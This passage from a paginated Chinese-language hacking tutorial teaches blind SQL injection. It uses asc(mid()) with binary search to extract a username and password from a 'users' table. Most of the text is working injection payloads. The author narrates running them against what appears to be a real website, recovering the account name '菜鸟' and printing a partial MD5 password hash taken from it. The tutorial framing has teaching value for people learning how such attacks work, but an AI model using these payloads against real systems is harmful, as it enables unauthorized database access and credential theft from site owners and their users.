|
7.猜解账号密码字符
在这里的猜解要用到asc(mid())这个函数。前面基础篇我们已经讲过这些函数了,我这里稍提一下。asc()是把字符转换为其对应的ASC码,mid()则是定位字符串里的字符。
格式:mid(字符串,开始位置,子串长度)
比如说mid(name,1,1)即取name字符串里第一个字符。如果这里的name等于xysky 则mid(name,1,1)=x而mid(name,1,2)则取y
这两个函数结合asc(mid())则是先定位字符串里的字符再取其ASC码,比如asc(mid(username,2,1))则是判断username字符串里的第二位的ASC码,在SQL注入里常用它,有汉字也不用怕,不过遇上了汉字确实有点郁闷,中文字符的asc值小于0的。在后面加上如下的语句:
and 11=(select userid from users where asc(mid(username,1,1))<0) 返回正常,说明账号果然是汉字,下面的事就不那么容易了。下面我们用到二分法的思想开始猜解第一位字符:
and 11=(select userid from users where asc(mid(username,1,1))<-19000) 返回正常
and 11=(select userid from users where asc(mid(username,1,1))>-20000) 返回正常
以上说明账号的第一个字符的ASCII码在-19000和-20000之间,再用二分法猜解下去,最后的第一个为:-19765
and 11=(select userid from users where asc(mid(username,1,1))= -19765)
ASCII码为-19765对应的字符就是:菜
下面接着猜第二个字符,最后语法为:and 11=(select userid from users where asc(mid(username,2,1))=-15119),这里抓个图,如图7:

对应字符为:鸟
到这里我想其它不用猜了,因为这个网站上的信息已经告诉我们了:
作者:菜鸟老师 票数:0等级:点击:308 呵呵,如果没错的话就是它了。
接着猜密码,依然二分法,就不抓图了:
and 11=(select userid from users where asc(mid(userpwd,1,1))<50)
and 11=(select userid from users where asc(mid(userpwd,1,1))>40)
最后得到的为:48 对应的字符就是0
依此下去,最后得到加密后的MD5值为:00d60a849c6c381e ,由于MD5目前没有好的破解方法,只能暴力破解,我们就此打此。
上一页 [1] [2] [3] [4] [5] [6] 下一页 |